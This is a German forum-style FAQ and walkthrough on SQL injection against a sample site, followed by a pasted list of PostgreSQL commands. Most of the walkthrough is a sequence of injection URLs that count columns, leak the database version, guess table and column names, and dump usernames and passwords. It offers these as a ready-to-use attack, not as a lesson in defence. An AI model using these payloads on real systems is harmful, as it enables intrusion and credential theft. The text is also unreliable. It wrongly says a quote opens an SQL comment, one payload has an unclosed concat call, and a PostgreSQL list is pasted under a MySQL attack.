SQL-Injection FAQ
SQL-Injection Lücken sind eine sehr gefährliche Lücke in Forensoftware.
Durch einschleusung von SQL Befehlen, kann der Angreifer die Datenbank, sofern diese in MySQL programmiert ist, manipulieren und sensible Daten aus ihr lesen.
Ein Angreifer kann per GetParameter oder Suchmaschine die SQL Befehle einschleusen. Andere Methoden sind mir nicht bekannt, wer noch andere Möglichkeiten kennt, bitte hinzufügen.
Als einfaches Beispiel mache ich ein simples Walkthrough eines AngriffSzenarios.
SQL Injection Walkthrough
Wir haben ne WebSite: http://www.sqlivic.com/
Zuerst sollten wir ein wenig auf der Seite rumstöbern und dabei auf den URL achten.
Jetzt sind wir an einer Stelle angekommen, wo die URL so aussieht:
http://www.sqlivic.com/article.php?id=10
Jetzt setzen wir hinter der 10 im GetParameter ein einfaches Hochkomma.
Ein einfaches Hochkomma leitet in SQL einen Kommentar ein, da dieser aber nicht wieder geschlossen wird, sollte es zu einer Fehlmeldung kommen.
Wenn die Seite verwundbar ist, steht dann da zB Error in MySQL Database. On Line 69. Oder so ähnlich.
Dann müssen wir als erstes die Anzahl der columns herausfinden...
Das machen wir so:
http://www.sqlivic.com/article.php?id=10' order by 10/*
Es werden noch Fehler angezeigt, heisst es sind weniger...
Immer um eins verringern, jetzt sind wir bei:
http://www.sqlivic.com/article.php?id=10' order by 7/* Es werden keine Fehler angezeigt, aber wenn wir wieder um eins erhöhen, erscheinen wieder Fehler. Also ist 7 die letzte Zahl, bevor wieder Fehler kommen.
Jetzt kennen wir die Column Anzahl, also können wir nun Union nutzen, um weiterzukommen.
http://www.sqlivic.com/article.php?id=10' union select 1,2,3,4,5,6,7/*
Es wird jetzt die Zahl 4 ausgegeben... Jetzt können wir, wenn wir 4 durch @@version ersetzen, uns die SQLVersion ausgeben lassen.
http://www.sqlivic.com/article.php?id=10' union select 1,2,3,@@version,5,6,7/*
Die Version ist 4.2 also können wir die Information Schema nicht nutzen...
Jetzt müssen wir die Namen der Tabellen raten...
http://www.sqlivic.com/article.php?id=10' union select 1,2,3,4,5,6,7 from admin/*
Es wird ein Fehler ausgegeben, heisst wir müssen weiter raten...
http://www.sqlivic.com/article.php?id=10' union select 1,2,3,4,5,6,7 from users/*
Es wird kein fehler angezeigt, dass zeigt uns, dass de Tabellenname "users" ist...
Jetzt müssen wir die columnnames raten...
Dazu ersetzen wir immer die Zahl, die uns grade ausgegeben wurde, also 4.
http://www.sqlivic.com/article.php?id=10' union select 1,2,3,username,5,6,7 from users/*
Es wird ein Fehler ausgegeben, heisst wir müssen weiterraten...
http://www.sqlivic.com/article.php?id=10' union select 1,2,3,name,5,6,7 from users/*
Das stimmt schonmal, jetzt brauchen wir noch das Passwort.
http://www.sqlivic.com/article.php?id=10' union select 1,2,3,passwort,5,6,7 from users/*
Das stimmt auch jetzt noch beides gleichzeitig ausgeben lassen.
http://www.sqlivic.com/article.php?id=10' union select 1,2,3,concat(name,0x3a,passwort,5,6,7 from users/*
Jetzt gibt uns die Page Usernamen und Passwörter aus, die in "users" gespeichert sind.
Das ganze kann man noch weiter ausbauen, aber dazu lernt einfach SQL und dann könnt ihr das selber machen.
Hier eine kleine Hilfe für die, die SQLI lernen wollen:
- ABORT -- abort the current transaction
- ALTER DATABASE -- change a database
- ALTER GROUP -- add users to a group or remove users from a group
- ALTER TABLE -- change the definition of a table
- ALTER TRIGGER -- change the definition of a trigger
- ALTER USER -- change a database user account
- ANALYZE -- collect statistics about a database
- BEGIN -- start a transaction block
- CHECKPOINT -- force a transaction log checkpoint
- CLOSE -- close a cursor
- CLUSTER -- cluster a table according to an index
- COMMENT -- define or change the comment of an object
- COMMIT -- commit the current transaction
- COPY -- copy data between files and tables
- CREATE AGGREGATE -- define a new aggregate function
- CREATE CAST -- define a user-defined cast
- CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
- CREATE CONVERSION -- define a user-defined conversion
- CREATE DATABASE -- create a new database
- CREATE DOMAIN -- define a new domain
- CREATE FUNCTION -- define a new function
- CREATE GROUP -- define a new user group
- CREATE INDEX -- define a new index
- CREATE LANGUAGE -- define a new procedural language
- CREATE OPERATOR -- define a new operator
- CREATE OPERATOR CLASS -- define a new operator class for indexes
- CREATE RULE -- define a new rewrite rule
- CREATE SCHEMA -- define a new schema
- CREATE SEQUENCE -- define a new sequence generator
- CREATE TABLE -- define a new table
- CREATE TABLE AS -- create a new table from the results of a query
- CREATE TRIGGER -- define a new trigger
- CREATE TYPE -- define a new data type
- CREATE USER -- define a new database user account
- CREATE VIEW -- define a new view
- DEALLOCATE -- remove a prepared query
- DECLARE -- define a cursor
- DELETE -- delete rows of a table
- DROP AGGREGATE -- remove a user-defined aggregate function
- DROP CAST -- remove a user-defined cast
- DROP CONVERSION -- remove a user-defined conversion
- DROP DATABASE -- remove a database
- DROP DOMAIN -- remove a user-defined domain
- DROP FUNCTION -- remove a user-defined function
- DROP GROUP -- remove a user group
- DROP INDEX -- remove an index
- DROP LANGUAGE -- remove a user-defined procedural language
- DROP OPERATOR -- remove a user-defined operator
- DROP OPERATOR CLASS -- remove a user-defined operator class
- DROP RULE -- remove a rewrite rule
- DROP SCHEMA -- remove a schema
- DROP SEQUENCE -- remove a sequence
- DROP TABLE -- remove a table
- DROP TRIGGER -- remove a trigger
- DROP TYPE -- remove a user-defined data type
- DROP USER -- remove a database user account
- DROP VIEW -- remove a view
- END -- commit the current transaction
- EXECUTE -- execute a prepared query
- EXPLAIN -- show the execution plan of a statement
- FETCH -- retrieve rows from a table using a cursor
- GRANT -- define access privileges
- INSERT -- create new rows in a table
- LISTEN -- listen for a notification
- LOAD -- load or reload a shared library file
- LOCK -- explicitly lock a table
- MOVE -- position a cursor on a specified row of a table
- NOTIFY -- generate a notification
- PREPARE -- create a prepared query
- REINDEX -- rebuild corrupted indexes
- RESET -- restore the value of a run-time parameter to a default value
- REVOKE -- remove access privileges
- ROLLBACK -- abort the current transaction
- SELECT -- retrieve rows from a table or view
- SELECT INTO -- create a new table from the results of a query
- SET -- change a run-time parameter
- SET CONSTRAINTS -- set the constraint mode of the current transaction
- SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
- SET TRANSACTION -- set the characteristics of the current transaction
- SHOW -- show the value of a run-time parameter
- START TRANSACTION -- start a transaction block
- TRUNCATE -- empty a table
- UNLISTEN -- stop listening for a notification
- UPDATE -- update rows of a table
- VACUUM -- garbage-collect and optionally analyze a database